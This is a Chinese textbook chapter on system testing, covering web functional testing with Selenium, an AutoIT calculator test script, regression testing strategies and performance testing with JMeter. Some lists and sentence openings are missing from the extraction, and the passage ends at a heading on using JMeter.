跳转至

系统测试

第 6 章

系统测试

经过集成测试之后,分散开发的模块被集成起来,构成相对完整的体系,其中各模块间接口存在的种种问题都已基本消除,测试开始进入到系统测试 (System Test) 阶段。

系统测试是将经过集成测试过后的软件,作为计算机系统的一个部分,与计算机硬件、某些支持软件、数据和平台等系统元素结合起来,在真实运行环境下对计算机系统进行一系列的严格有效的测试来发现软件的潜在问题,保证系统的正常运行。系统测试一般由若干个不同测试类型组成,目的是充分运行系统,验证整个系统是否满足功能和非功能性的质量需求,如:

在系统测试中,除了系统级的功能测试 (虽然之前已完成了大部分单元级的功能测试) 之外,还有非功能性测试,甚至可以说,非功能性测试是系统测试中更为关键的任务。压力测试、容量测试和性能测试的测试目的虽然有所不同,但其手段和方法在一定程度上比较相似,都是采用负载测试技术。为了模拟用户的操作和监控系统性能,特别是针对基于网络的应用软件 (非单机应用软件), 只有借助于测试工具才能完成。通常,会使用特定的测试工具来模拟超常的数据量或其他各种负载,监测系统的各项性能指标,如线程、CPU、内存等使用情况、响应时间、数据传输量等。

6.1 系统级功能测试

功能测试可以在单元测试中实施,也可以在集成测试、系统测试中进行,软件功能是最基本的,需要在各个层次保证功能执行的正确性。在单元功能测试中,其目的是保证所测试的每个独立模块的功能是正确的,主要是从输入条件和输出结果来进行判断是否满足程序的设计要求。在系统集成过程之中或之后所进行的系统功能测试,不仅要考虑模块之间的相互作用,而且要考虑系统的应用环境,其衡量标准是实现产品规格说明书上所要求的功能,特别需要模拟用户完成从头到尾 (End-to-End, 端到端) 的业务测试,确保系统可以完成事先设计的功能,满足用户的实际业务需求。

6.1.1 功能测试要求

功能测试比较容易理解,主要是根据产品规格说明书,来检验被测试的系统 (System under test,SUT) 是否满足各方面功能的使用要求。功能测试也包括部分的系统安全性测试,如用户登录、用户权限控制等功能的测试,而且功能测试需要针对不同的环境进行测试,一方面可以看作是系统环境的兼容性测试,另一方面可以看作不同配置下的功能测试。

对于功能测试,针对不同的应用系统,其测试内容的差异很大,但都可以归为界面、数据、操作、逻辑、接口等几个方面,例如:

(1) 程序安装、启动正常,有相应的提示框、错误提示等。

(2) 每项功能符合实际要求。

(3) 系统的界面清晰、美观。

(4) 菜单、按钮操作正常、灵活,能处理一些异常操作。

(5) 能接受正确的数据输入,对异常数据的输入可以进行提示、容错处理等。

(6) 数据的输出结果准确,格式清晰,可以保存和读取。

(7) 功能逻辑清楚,符合使用者习惯。

(8) 系统的各种状态按照业务流程而变化,并保持稳定。

(9) 支持各种应用的环境。

(10) 能配合多种硬件周边设备。

(11) 软件升级后,能继续支持旧版本的数据。

(12) 与外部应用系统的接口有效。

在这里,以 Web 功能测试为例,介绍功能测试可能涉及的范围。Web 元素主要包括超级链接、图片、文字、HTML、脚本语言、表单等。Web 页面的功能测试就要针对这些元素展开。虽然页面也包含 Flash、ActiveX 控件、插件 (Plugin) 等元素,这些元素实际上就是小的应用程序,可以作为一般应用程序来测试,只不过要针对浏览器的不同设置,进行相应的测试。浏览器设置项很多,特别是安全性选项的设置,对 Web 功能测试影响比较大,要注意这方面的测试。在 Web 功能测试中,一般也会完成其用户界面测试,例如,页面是否和设计保持一致、页面元素的尺寸大小、边距、间距、布局是否合理和美观、文字是否有错误拼写等。

1. 页面链接测试需要验证的问题

(1)该页面是否存在,如页面不可显示信息,则视为页面链接无效。引起页面无效的因素有很多种,主要有页面文件在 Web Server 上不存在、链接的地址不正确等。

(2) 该页面是否跳转到所规定的页面,主要是验证页面正确性,这种测试也应该在 Web 功能测试部分被考虑。

2. Web 图形测试

Web 图形是一种常见的显示信息的手段,如 GIF 图片、Flash 等。很多时候,图形是和文本混合在一起使用的,因此,在 Web 图形测试的时候,不仅要确认文本是否正确,同时需要确认图片的内容和显示,如文字是否正确地环绕图片?图片的文字提示是否正确?图片所指向的链接是否正确?不同分辨率下的图形显示是否正确?

3. 表单测试

从设计的角度来看,表单是在访问者和服务器之间建立了一个对话,允许使用文本框、单选按钮和选择菜单来获取信息,而不是用文本、图片来发送信息。通常情况下,要处理从站点访问者发来的响应 (即表单结果), 需要使用某种运行在 Web 服务器端的脚本 (如 PHP、JSP), 同时在提交访问者输入表单的信息之前也可能需要用到浏览器运行在客户端的脚本 (通常是使用 JavaScript)。在进行表单测试的时候,需要保证应用程序能正确处理这些表单信息,并且后台的程序能够正确解释和使用这些信息。举个例子,用户可以通过表单提交来实现在线注册,当注册完毕以后,应该从 Web 服务器上返回注册成功的消息。

6.1.2 Web 服务器的功能测试

作为 Web 服务器 (如著名的开源 Apache httpd 服务器 http://httpd.apache.org/),首先要支持 HTTP/1.1 协议,包括 HTTP 认证和 SSL (Secure Socket Layer, 安全套接层)、TLS (Transport Layer Security, 传输层安全协议) 等加密,这是 Web 服务器最核心的功能。其次,Web 服务器支持虚拟主机、支持通用网关接口 (Common Gateway Interface, CGI)、具有用户会话过程的跟踪能力等。一般还要求 Web 服务器与脚本语言 (如 PHP、Perl、Python、Tcl) 集成、支持 Java Servlets、支持代理 (Proxy)、高速缓存 (Caching)、URL 重定向 (Rewrite)、地址过滤等特性。所有这些特性都需要测试来进行验证。

要验证 HTTP, 就需要参考相应的标准,即:

RFC2616 Hypertext Transfer Protocol - HTTP/1.1
RFC2617 HTTP Authentication(认证): Basic and Digest Access Authentication
RFC2965 HTTP State Management Mechanism(状态管理机制)
RFC3986 Uniform Resource Identifier (统一资源标识, URI): Generic Syntax 

例如,针对 RFC2616 HTTP/1.1,就要验证下列基本命令。

GET
OPTIONS
HEAD
POST
PUT
DELETE
TRACE
CONNECT 

这时就需要构造一个测试工具,相当于浏览器的模拟器,建立连接 (CONNECT) 并以不同方式 (GET/POST/HEAD) 和选项 (OPTIONS) 发送请求,来测试 Web 服务器的响应。

再比如测试重定向 (Rewrite),不仅要测试其不同方式 —— 服务器级别的 (在 httpd.conf 配置) 和目录级的 (在.htaccess 中配置),而且还要测试重定向规则支持正则表达式,这个测试工作量也比较大。例如,要将 119.75.213.61 和 baidu.com 等各种地址都重定向为 www.baidu.com,那么在 httpd.conf 配置:

RewriteEngine on RewriteCond % {HTTP_HOST} ^baidu.com [NC]
RewriteCond % {HTTP_HOST} ^119.75.213.61 [NC] RewriteRule^(.* ) http://www.baidu.com/[L] 

然后进行测试,以验证是否完成正确的重定向。当然,还可以构造更复杂的正则表达式进行验证。

正则表达式基本约定

文本:
·任意一个单字符
[chars]字符类:"chars"中的任意一个字符
[^chars]字符类:不在"chars"中的字符
text1|text2选择:text1或text2
量词:
?前面的字符出现0或1次
*前面的字符出现0或N次(N>0)
+前面的字符出现1或N次(N>1)
分组:
(text)text组(常用于设置一个选择的边界或生成后引用)
锚:
^锚定到行首
$锚定到行尾
转义:
\c对给定的字符c进行转义

关于重定向的更详细内容,可以参考:

http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html  
http://lamp.linux.gov.cn/Apache/ApachecMenu/mod/mod_rewrite.html 

在服务器测试过程中,如果发现了问题,一般可以查 Log 来帮助隔离问题,从而能准确地报告问题。例如,Apache 服务器日志内容,可以参考:

http://httpd.apache.org/docs/2.2/logs.html  
http://lamp.linux.gov.cn/Apache/Apachemenu/logs.html 

6.1.3 一套 Web 功能测试工具

在 Web 功能测试工具中,有比较多的开源测试工具,如 Canoo WebTest、WatiR、WatiN、WatiJ、Selenium 等,也还有一些商业的 Web 测试工具,如 Parasoft WebKing 和 SOATest、Compuware WebCheck 等。例如,Parasoft WebKing 能够测试每一个静态和动态网页,检查动态网站中所有可能的路径,并能很好地支持 AJAX 应用的测试,自动监视动态页面内容的规则,并发现其中的构造错误和其他问题。同时 WebKing 能够完成 HTML、CSS 和 JavaScript 编码标准检查,还检查所有的链接,检查中断的链和孤立的文件,记录有关网站使用的各类文件的统计信息。下面以 Selenium 为例,详细介绍其原理和使用。

Selenium (http://seleniumhq.org/) 是 ThoughtWorks 专门为 Web 应用而开发的自动化测试工具集,适合进行功能测试、验收测试。Selenium 由几个测试工具承担不同的角色,从而构成一个针对 Web 应用的、完整的自动化测试解决方案,如图 6-1 所示。

cbb8e86686bf79bf35272ba82d9b6828248ea1bd2f709c07a8b8c0a77d86dd3d.jpg

个 Selenium 测试机制的核心部分,由纯 JavaScript 代码组成,负责具体测试任务的执行。

(3) Selenium Webdriver 能从本地或远程驱动相应的浏览器。

(4) Selenium Server stardalone (早期的 Remote Contro ()): 一个代理与控制端,代替 Selenium Core/ Selenium IDE 的客户端,从而可以在远程机器上执行测试任务,并支持多种脚本语言,如 Java、.NET、Perl、Python 和 Ruby。

(5) Selenium Grid 可以并行地运行多个 Selenium RC (server) 的实例,从而在分布式环境中同时运行多个测试任务,并能在一台机器上控制这些任务的执行,极大地加快 Web 应用的功能测试。

Selenium 的主要优势如下。

首先可以通过 Selenium IDE 进行一个简单的测试过程来理解自动化功能测试的过程及其特点。用 Firefox 直接从 http://seleniumhq.org/projects/ide/ 下载 Selenium IDE,下载完成后,浏览器会自动提示安装,单击 “立即安装” 按钮就能完成安装。安装成功后,重启 Firefox,菜单 “工具” 下会出现 Selenium IDE 命令。单击 Selenium IDE 命令,启动 Selenium IDE,出现主界面,可以展开左边 Test Case 窗口,默认是不展开的,展开后的界面如图 6-2 所示,包括:

4c82218e5f3dde8ab977a83c18f3ee3c5fad6cec5a86a90fac2059e36ca4fc75.jpg

1. 录制测试脚本

打开 Selenium IDE, 默认就处在录制状态,如果不是,就单击 “录制” 按钮 ☐。去 Firefox 打开 Google 首页 www.google.cn (这也作为 Base URL), 输入 “用 Selenium 进行自动化测试”, 单击 “Google 搜索” 按钮,进入搜索结果页面,然后选择搜索结果页面中的 “搜索软件测试方法和技术 获得约” 后的值 “8 960 000”, 单击右键,如图 6-3 所示,选择倒数第 3 项 “verifyTextPresnt 8 960 000”, 即验证搜索数量 “8 960 000” 在搜索结果中出现。

f784498e25c02e90ed6caa5d5b271a3c674b565546128ef662fe93bc5d2300c9.jpg

同样,选择 “0.30 秒” 进行验证。测试本身就是验证的过程,通过期望结果和实际结果比较,才能判断是否会出现缺陷。然后单击 Selenium IDE 的 ☐ 按钮,结束录制。录制的脚本可以在脚本窗口中浏览。

2. 执行测试脚本

完成了脚本录制,就可以执行脚本 (也称脚本回放)。先将回放速度调整慢些,从而使执行过程看得更清楚些,即将 Fast Slow 中绿色浮标向 Slow 移动。然后,单击 ▶ 按钮,就开始执行脚本。就会看到浏览器自动打开 www.google.cn 的首页,自动输入 “软件测试方法和技术”, 搜索结果页面很快显示出来,脚本执行结束。

3. 测试结果

运行结果如图 6-4 所示,从中可以看出,前面两个验证通过,包括 assertTitle 判断窗口是否存在,显示为绿色,而第三个验证 “verifyTextPresent 0.30 秒” 失败,显示为红色。为什么失败呢?因为 Google 每次搜索用时是不一样的,再次执行脚本的时候,用时只要 0.11 秒,会显示 “搜索用时 0.11 秒”, 导致第三个验证失败。查日志,可以看到红色的信息 “[error] false”, 说明验证失败。

ffc978bb6fc5e1887a1ba87183dbbae4ab78d4c3376a621c22dbab8c5d5dfede.jpg

从 Firefox 中打开 Selenium IDE, 单击工具栏中的 Play with Selenium TestRunner 按钮,IDE 就将 TestRunner 运行起来。其中上面有左、中、右三个窗口,分别为测试套件 (Test Suite)、当前测试 (Current Test)、控制面板 (Control Panel); 下面只有一个窗口,为测试执行页面显示区域 (Execution Area)。

4. Selenium test runner 脚本

Selenium test runner 脚本,就是用 HTML 中简单的表格格式来编写的测试用例,所以 test runner 脚本不仅易于阅读,也易于编写。Selenium 脚本的开发也是比较灵活的,不仅提供了几百个命令,而且也可以在脚本中引用其他文件 (类似于 C 语言的头文件), 如表 6-1 第 1 行的 include 的使用;还可以使用变量,如表 6-1 中的 ${Site_URL}、${userName} 和 ${password}, 这可以解决测试输入数据问题。例如用户名和口令就不需要放在脚本中,而是

单独存入一个文件中,如表 6-2 所示。

表 6-1 Selenium 测试脚本 (引用文件和变量)

Command/AssertionTargetValue
include...// common/SetVariable.html
open${Site_URL}
pause2000
selectWindowHeader
waitForTextPresentLogon
click//a[contains(@href, 'javascript:Logon();')]
selectWindowmainFrame
waitForTextPresentuserName
typeuserName${userName}
typePassword${password}
clickAndWait//input[@name='Submit']
verifyTextPresentLogon Success

表 6-2 common/SetVariable. html 的内容

设置变量的值(Set variable)
storeGlobalcn. calendar. yahoo. comsiteURL
echo$ {siteURL}
storeGlobaltestuseruserName
storeGlobal1234567password

5. Selenium 驱动模式脚本

Selenium 驱动模式脚本支持多种编程语言,在浏览器之外的一个单独的进程中运行。Driven 脚本比 test runner 脚本更强大、更灵活,可以与 xUnit 框架集成,但是 Driven 脚本编写和部署相对复杂,需要经过下列过程。

Driven 脚本更依赖于应用程序运行的环境。例如,Java 驱动程序使用一个嵌入式 Jetty 或 Tomcat 实例来部署所测试的应用程序。browser bot 就是 Selenium Core, 负责执行从测试脚本接收到的命令,而驱动程序与 browser bot 之间的通信使用一种简单的、特定的连接语言 Selenese。

6. Selenium 测试用例开发

测试用例开发涉及 4 类文件,除了引擎库以外,其他三类文件都是可以根据具体情况去修改的。

件来实现;测试套件用于将具有类似功能的一些测试用例编成一组,以便能按顺序执行一系列的测试用例。

Selenium 部署完毕后,可以通过浏览器 URL 来访问 TestRunner.html 文件。由 TestRunner.html 调用相应目录下的测试套件 ——TestSuite.html。测试套件也是 HTML 格式的表,表中的每一行指向一个包含某个测试用例的文件。再由 TestSuite.html 调用相应的测试用例 (测试脚本) 执行测试。可以修改 TestSuite.html 文件,让其指向自己开发的 Test case HTML 文件,如表 6-3 所示,定义全局变量的 setVariable1.html 和两个测试用例的文件 login.html 和 logout.html。

表 6-3 测试套件的 HTML 文件示例

选择名称对应的测试用例脚本文件
SetVariable.../.../ common/SetVariable. html
login.../module/login/login. html
logout.../module/login/logout. html

6.1.4 AutoIT 及其客户端测试工具

先通过工具 AutoIT 来完成一个 Windows 客户端的测试程序,了解客户端的测试程序特征,然后介绍其他类似的客户端测试工具。

1. AutoIT 应用

AutoIT (http://www.autoitscript.com/) 适合 Windows 客户端的功能测试,能够模拟按键组合、鼠标动作,识别和操纵 Windows 窗口和进程,与所有标准 Windows 控件交互,从而实现 Windows 的测试自动化。采用类似于 VBScript 和 BASIC 的脚本语言,同时支持更加复杂的表达式 (包括正则表达式)、用户函数、直接调用外部 DLL 和 Windows API 的函数,脚本可编译成独立运行的可执行文件。

AutoIT 安装后,主要程序及其功能说明如表 6-4 所示。

表 6-4 AutoIT 主要程序及其功能说明

文件与目录详细信息
AutoIt3.exe主程序,可以解释运行 UniCode 版本的脚本文件
AutoIt3A.exe主程序,可以解释运行 ANSI 版本的脚本文件
AU3Info.exeAutoIt 窗口信息工具 (AutoIt Window Info Tool),识别 GUI 对象
Aut2Exe/Aut2ExeA.exe用于将 au3 脚本 (UniCode/ANSI 版本) 编译成 exe 可执行文件
Include官方提供的库文件,提供开发脚本时所需的各种函数
AutoItX可以被嵌入到其他工具和语言中去,包含 DLL 版本的 AutoIt v3 以及 ActiveX/COM 和 DLL 界面
SciTeAutoIT 的脚本编辑器

AutoIT 应用过程可以概括为下面几个步骤。

(1) 借助窗口信息工具识别被测试软件的窗口、控件等,如图 6-5 所示。

3a23964f0e4d9e721df40846f058e6feee9640dec5f276ca9ddb2f6df734520f.jpg

(2)通过 AutoIT 提供的函数来操作窗口和控件,常用的命令有 WinActivate、WinMove、WinClose、ControlFocus、ControlClick、ControlCommand、ControlSend、MouseClick、MouseClickDrag 等。例如:

ControlClick ("计算器", "","[CLASS:Button; TEXT:"CE"; INSTANCE:82]")

(3)然后,增加验证点,来检验是否获得期望的结果。验证函数有 WinGetPos、WinGetState、WinExists、WinGetTitle、WinGetText、ControlGetPos、FileExists、FileGetSize 等。

下面给出对计算器进行测试的一个脚本示例。

If WinExists("计算器") == 0 Then
    Run("calc.exe")
Endif
WinWaitActive("计算器")
ControlClick("计算器", "", "1")
ControlClick("计算器", "", " + ")
ControlClick("计算器", "", "2")
ControlClick("计算器", "", " = ")
$ Result = ControlGetText("计算器", "", 403)
sleep(1000)
If $ Result == "3." Then
    FileWriteLine("c:\result.txt", "正确:和期望结果3一致")
Else
    FileWriteLine("c:\result.txt", "错误:和期望结果3不一致,实际计算结果为" & $Result)
EndIf 
ControlClick("计算器", "", "CE")
If $Result <>"0. " Then
    FileWriteLine("c:\result.txt", "错误:没有清零")
EndIf
sleep(1000)
WinClose("计算器") 

2. 其他开源的功能测试工具

3. 商业的功能测试工具

能测试、Java 应用功能测试和性能测试、SOAP 测试等。

(6) Oracle Empirix e-Test Suite 是一套简单易用的网站测试工具,包括三个主要工具 e-TESTER、e-LOAD 和 e-MONITOR, 分别实施功能测试、负载测试和性能监控。每个工具可以独立使用,也可以协同使用。其中,Web 应用程序性能监控工具 onesight 能够针对 Web 系统内部及外部元素进行监控,收集网络信息情况和错误信息并生成可用情况地图以显示一个网络及其服务哪些是正常的,从而探测性能降低的原因。而网络分析工具 hammer call analyzer 能够使用户看得见在 voip 网络中信号和语音的品质问题,为任何的呼叫显示波形和流的品质签名,可以发现通信交换设备间出现的问题。

6.1.5 嵌入式测试工具

嵌入式系统软件的测试相对困难,因为它的开发是用交叉编译方式进行的。在目标机 (Target) 上,不可能有多余的空间记录测试的信息,必须实时地将测试信息通过网线 / 串口传到宿主机 (Host) 上,并实时在线地显示。因此,对源代码的插装和目标机上的信息收集与回传成为嵌入式测试工具要解决的关键问题。

(5) Logiscope 是 TeleLogic 公司的工具套件,贯穿于软件开发、代码评审、单元 / 集成测试、系统测试以及软件维护阶段,重点是帮助代码评审和动态覆盖测试。包括对指令 (IB)、逻辑路径 (DDP) 和调用路径 (PPP) 的覆盖测试。此外,对安全 - 关键软件还提供了 MC/DC 的覆盖测试。Logiscope 支持各种实时操作系统 (如 VxWorks、pSOS、VRTX 等) 上应用程序的测试,也支持逻辑系统的测试。

(6) VectorCAST 扫描嵌入式 C++(EC++) 源代码,自动生成测试代码来为主机和嵌入式环境构造可执行的测试架构。VectorCAST 测试系统由环境生成器、测试用例生成器、运行控制器、报告生成器、动态分析器和静态分析器等组件组成。使用 VectorCAST 测试系统,可以保持经常更新部件仿真模型。

(7) GammaRay 系列产品主要包括软件逻辑分析仪 GalnmaPfiler、可靠性评测工具 GammaRET 等。

(8) LynxInsure++ 是 Lynx Real-Timesystems 公司的产品,基于 LynxOS 的应用代码检测与分析测试工具,包括以下三个工具。

① 源码检测工具 Insure++ 可检查初级错误、API 应用中的类型和参数错误、指针和数组错误、字符串操作错误;

② 内存检测工具 Inuse, 可查找内存漏洞、检查动态内存的分配等;

③ 程序的覆盖度量工具 TCA, 可提供完全的覆盖报告。

(9)MessageMaster 是 ElviorLtd 公司的产品,测试嵌入式软件系统工具,向环境提供基于消息的接口。

(10) VcTester 由国内公司自主研发,服务于嵌入式白盒测试领域的测试工具,使用 CSE 脚本语言编写测试用例,有效实施针对 C 语言的单元测试、集成测试与协议测试,而且,可以进行持续在线的测试,包括在线设计用例、运行用例,并根据测试结果改进或添加用例。VcTester 配合 VC 中的调试程序,可支持目标代码设置断点、单步调试。

6.2 回归测试

无论在进行系统测试还是功能测试时,当发现一些严重的缺陷而需要修正时,会构造一个新的软件包 (Full Build) 或新的软件补丁包 (Patch), 然后进行测试。这时的测试不仅要验证被修复的软件缺陷是否真正被解决了,而且要保证以前所有运行正常的功能依旧保持正常,而不要受到这次修改的影响。因为,虽然已发现的程序缺陷被修复了,但可能在其他受影响的区域出现新的软件缺陷 (这样的缺陷称为回归缺陷)。如果这时没有回归测试,产品就带着这样的回归缺陷被发布出去了,造成严重后果。回归测试就是为了发现回归缺陷而进行的测试。

6.2.1 目的

回归测试的目的是在程序有修改的情况下保证原有功能正常的一种测试策略和方法,因为这时的测试不一定要进行全面测试,从头到尾测一遍,而是根据修改的情况进行有效测试。程序在发现严重软件缺陷要进行修改或版本升级要新增功能,这时需要对软件进行修改,修改后的程序要进行测试,这时要检验软件所进行的修改是否正确,保证改动不会带来新的严重错误。这里所说的关于软件修改的正确性有以下两层含义。

(1) 所做的修改达到了预定的目的,如错误得到了改正,新功能得到了实现,能够适应新

的运行环境等;

(2) 不影响软件原有功能的正确性。

在软件生命周期中的任何一个阶段,只要软件发生了改变,就可能给该软件带来新的问题。软件的改变可能是源于发现了缺陷并做了修改,也有可能是因为在集成或维护阶段加入了新的功能或增强原有的功能。当软件中所含错误被发现时,如果错误跟踪与管理系统不够完善,就可能会遗漏对这些错误的修改;而开发者对错误理解得不够透彻,也可能导致所做的修改只修正了错误的外在表现,而没有修复错误本身,从而造成修改失败;修改还有可能产生副作用从而导致软件未被修改的部分产生新的问题,使本来工作正常的功能产生错误。同样,在有新代码加入软件的时候,除了新加入的代码中有可能含有错误外,新代码还有可能对原有的代码带来影响。因此,每当软件发生变化时,就必须重新测试现有的功能,以便确定修改是否达到了预期的目的,检查修改是否损害了原有的正常功能。同时,还需要补充新的测试用例来测试新的或被修改了的功能。为了验证修改的正确性及其影响就需要进行回归测试。

回归测试作为软件生命周期的一个组成部分,在整个软件测试过程中占有很大的工作量比重,软件开发的各个阶段都可能需要进行多次回归测试。在渐进和快速迭代开发中,新版本的连续发布使回归测试进行得更加频繁,而在极限编程 (eXtreme Programming, XP) 方法中,更是要求每天都进行若干次回归测试。因此,通过选择正确的回归测试策略来改进回归测试的效率和有效性是非常有意义的。

6.2.2 策略及其方法

在软件生命周期中,即使一个得到良好维护的测试用例库也可能变得相当大,使得每次回归测试都重新运行完整的测试包变得不切实际,时间和成本约束也不允许进行一个完全的测试,需要从测试用例库中选择有效的测试用例,构造一个缩减的测试用例组来完成回归测试。回归测试可遵循下述基本过程进行。

第 (2) 和第 (3) 步测试验证修改是否破坏了现有的功能,第 (4) 和第 (5) 步测试验证修改工作本身。

回归测试的价值在于它是一个能够检测到回归错误的受控实验。当测试组选择缩减的回归测试时,有可能忽略了那些将揭示回归错误的测试用例,而错失了发现回归错误的机会。然而,如果采用了代码相依性分析等安全的缩减技术,就可以决定哪些测试用例可以被删除而不会影响回归测试的结果。选择回归测试策略应该兼顾效率和有效性两个方面,下面有几种方法,在效率和有效性方面的侧重点是不同的。

(1)再测试全部用例。选择测试用例库中的全部测试用例构成回归测试包,这是一种比较安全的方法,具有最低的遗漏回归错误的风险,但测试成本最高。再测试全部用例几乎可以应用到任何情况下,基本上不需要进行用例分析和设计,但是随着开发工作的进展,测试用例不断增多而带来相当大的工作量,受预算和进度的限制。

综合运用多种测试技术是常见的,在回归测试中也不例外,测试者也可能希望采用多于一种回归测试策略来增强对测试结果的信心。最常见的回归测试策略是将上述第 (2) 和第 (3) 种结合起来。

回归测试往往是重复性的工作,而且之前已执行过,回归测试也是比较明确的,所以一般适合自动化测试。前面所谈到的功能测试工具主要适合回归测试。

6.3 性能测试

对于那些实时和嵌入式系统,软件部分即使满足功能要求,也未必能够满足用户的期望,如某个网站可以被访问,而且可以提供预先设定的功能,但每打开一个页面都需要一两分钟,用户不可忍受其结果,也就没有用户愿意使用这个网站所提供的服务。虽然从单元测试起,每一测试阶段都包含性能测试,但只有当系统真正集成之后,在真实环境中才能全面、可靠地测试系统性能,系统性能测试就是为了完成这一任务。

性能测试 (Performance Test) 就是为了发现系统性能问题或获取系统性能相关指标 (如运行速度、响应时间、资源使用率等) 而进行的测试。一般在真实环境、特定负载条件下,通过工具模拟实际软件系统的运行及其操作,同时监控性能各项指标,最后对测试结果进行分析来确定系统的性能状况,整个过程就是性能测试。

6.3.1 系统性能指标和测试类型

系统的性能指标包括两方面的内容 —— 系统资源 (CPU、内存等) 的使用率和系统行为表现。资源使用率越低,一般来说系统会有更好的性能表现,系统资源使用率很高甚至耗光,系统的性能肯定不会好。资源利用率是分析系统性能指标进而改善性能的主要依据。系统行为的性能指标很多 (如表 6-5 所示), 常见的有以下几个。

器,数据吞吐量可以理解为单位时间内 Web 服务器成功处理的 HTTP 页面或 HTTP 请求数量。

表 6-5 负载监控的各项指标

性能测试工具给出的指标常用的性能指标
Load SizeMinMaxAverageCurrent valueTransactions Per SecondSuccessful Transactions Per SecondFailed Transactions Per SecondRounds Per SecondSuccessful Rounds Per SecondFailed Rounds Per SecondThroughput (Bytes Per Second)Response Data SizeRound TimeTransaction TimeConnect TimeSend TimeResponse TimeProcess TimeRoundsSuccessful RoundsFailed RoundsTransactionsSuccessful TransactionsFailed TransactionsAttempted ConnectionsSuccessful ConnectionsFailed ConnectionsResponses负载数据量(Load Size)连接时间(Connect Time)发送时间(Sent Time)处理时间(Process Time)一轮来回时间(Round Time)平均事务响应时间每秒事务总数每秒单击次数图每秒 HTTP 响应数每秒下载页面数每秒重试次数连接数每秒连接数每秒 SSL 连接数页面下载时间第一次缓冲时间已下载组件大小

针对具体的应用系统,性能指标应尽量明确,也就是明确性能测试需求。例如,系统要求在正常使用情况下其响应时间为 3\~5s, 即使在使用高峰期 (如上下班时间) 系统的响应时间也不应超过 15s, 这就意味至少要进行两种场景 —— 平均负载和高峰负载的性能测试。在对实际系统进行性能测试时,往往会结合其关键业务考虑其关键性能测试需求。例如,针对在线日历软件,一些典型应用场景:

性能测试可以简单地看作是为了发现性能问题或性能瓶颈而进行的测试,性能问题在系统内部表现为资源使用耗尽或使用率过高,在外部表现为系统响应很慢。系统性能问题一般可以分为下列三类问题。

但性能测试不仅是为了发现问题而进行测试,而且也可以是为了获得性能指标而进行测

试。性能测试,根据其不同的测试目的分为以下几类。

有时,人们习惯于将压力测试、负载测试等也归为性能测试。压力测试是长时间的高负载测试,虽然可以发现性能问题,但更多是为了进行系统的稳定性或可靠性测试。负载测试可以看作是一种测试手段或方法,应用于性能测试、稳定性 (健壮性) 测试之中。在性能测试中,不仅采用负载测试的方式,而且有更丰富的手段,即常说的渗入测试和峰谷测试。

6.3.2 系统负载及其模式

系统负载可以看作是 “并发用户并发数量 + 思考时间 + 每次请求发送的数据量 + 负载模式”,那么什么是用户并发数量、思考时间和负载模式呢?通过以下概念,就比较容易理解。

HTTP 请求的思考时间为零时,Web 服务器的并发用户数等于在线用户数。

(6)负载模式就是加载的方式,例如是一次建立 200 个并发连接,还是每秒 10 个连接逐渐增加连接数,直至 200 个。还有其他的加载方式,如逐步加载、平均加载、随机加载、峰谷交替加载等方式,如图 6-6 所示。

6.3.3 性能测试的基本过程

系统性能测试过程是一个持续的测试和优化过程,即先进行性能测试,发现问题,试图处理问题以提高系统的性能,再进行性能测试、再优化,直到达到满意的结果。而就一个具体的性能测试过程,可以按照下列步骤执行 (见图 6-7)。

062bea45d14d0eef55ab2f6aa423173b1a0f698ec23906d9c2b96a7e55c28f68.jpg

指标之间的关联) 和参数化 (把脚本中的某些请求数据替换成变量)。

6.3.4 性能测试结果分析

在测试过程中,要善于捕捉被监控的数据曲线发生突变的地方 —— 拐点,这一点就是饱和点或性能瓶颈。例如,以数据吞吐量为例,刚开始,系统有足够的空闲线程去处理增加的负载,所以吞吐量以稳定的速度增长,然后在某一个点上稳定下来,即系统达到饱和点。在达到饱和点后,所有的线程都已投入使用,传入的请求不再被立即处理,而是放入队列中,新的请求不能及时被处理。因为系统处理的能力是一定的,如果继续增加负载,执行队列开始增长,系统的响应时间也随之延长。当服务器的吞吐量保持稳定时,就表示达到了给定条件下的系统上限。这个结果,可以通过图 6-8 给出清晰的描述。

如果继续加大负载,系统响应时间可能会发生突变,即执行队列排得过长,无法处理,服务器接近死机或崩溃,响应时间就变得很长或无限长。但这种极限点有参考价值,可帮助改进设计和系统部署,但不应该作为正常的控制点。正常的控制点,应该是饱和点。

分析负载测试中系统容易出现瓶颈的地方,从而有目的地调整测试策略或测试环境,使压力测试结果真实地反映出软件的性能。例如,服务器的硬件限制、数据库的访问性能设置等常常会成为制约软件性能的重要因素。对于 Web 服务器的测试,可以重点分析以下三项参数。

试运行过程中的变化情况。

6.3.5 JMeter 及系统性能测试工具

对于数据库、Web 访问、视频点播等各种应用系统,通过单元测试、集成测试、功能测试之后,用户还常会有些疑问,如这套系统能不能承受大量的并发用户同时访问?到底能承受多少个用户同时访问而没有问题?如果同时有一万个用户在 10min 内访问服务器会不会导致服务器崩溃?如果数据库中有 100 万条记录,这时用户的操作是不是像蜗牛爬行那样慢?要回答这些疑问,就要借助于性能测试获得相关数据,而性能测试通过手工模拟是难以完成的,而是要通过负载测试工具来完成。

JMeter (https://jmeter.apache.org) 是开源的性能测试工具的代表,最早是为了完成 Tomcat 的前身 Jserv 的性能测试而诞生的。随着 J2EE 应用的不断发展,其功能不再局限于 Web 服务器的性能测试,还涵盖了数据库、FTP、LDAP 服务器等各种性能测试,以及可以和 JUnit、Ant 等工具的集成应用。它可以针对服务器、网络或其他被测试对象等模拟大量并发负载来进行强度测试,并分析不同压力负载下的系统整体性能,包括性能的图形分析、产生相应的统计报表,包括各个 URL 请求的数量、平均响应时间、最小 / 大响应时间、错误率等。

JMeter 内部实现了线程机制 (线程组), 如图 6-9 所示,用户不用为并发负载的过程编写代码,只需做简单配置即可。同时,JMeter 也提供了丰富的逻辑控制器,控制线程的运行。

d5f23ccbc362d785bca6fd168920ffb7f63443b42eecbe76d131f913773a33bf.jpg

1. JMeter 主要构成组件

(5)配置单元 (Config Element) 维护采样器需要的配置信息,并根据实际的需要来修改请求的内容。配置单元包括登录配置单元、简单配置单元、FTP/HTTP 配置单元等。

(6) 定时器 (Timer) 负责定义请求之间的延迟间隔。

(7) 断言 (Assertions) 可以用来判断请求响应的结果是否如用户所期望的。它可以用来隔离问题域,即在确保功能正确的前提下执行压力测试。这个限制对于有效的测试是非常有用的。

(8) 监听器 (Listener) 负责收集测试结果,并可以设置所需的、特定的结果显示方式。

(9) 前置处理器 (Pre Processors) 和后置处理器 (Post Processors) 负责在生成请求之前和之后完成工作。前置处理器常常用来修改请求的设置,后置处理器则常常用来处理响应的数据。

2. 如何使用 JMeter 进行性能测试

